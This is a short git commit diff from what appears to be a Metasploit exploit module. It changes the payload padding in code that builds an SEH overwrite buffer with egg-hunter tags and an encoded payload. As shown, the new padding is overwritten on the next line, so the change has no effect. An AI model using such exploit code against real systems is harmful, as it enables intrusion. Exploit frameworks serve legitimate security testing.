Added more payload padding
parent
a35d548979
commit
7854c452d2
|
@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
buf << [target.ret].pack("V*") # seh
|
buf << [target.ret].pack("V*") # seh
|
||||||
|
|
||||||
# Setup payload
|
# Setup payload
|
||||||
shellcode = rand_text(1) # align payload
|
shellcode = rand_text(50) # pad payload
|
||||||
shellcode = egg + egg # attach egg tags
|
shellcode = egg + egg # attach egg tags
|
||||||
shellcode << payload.encoded
|
shellcode << payload.encoded
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue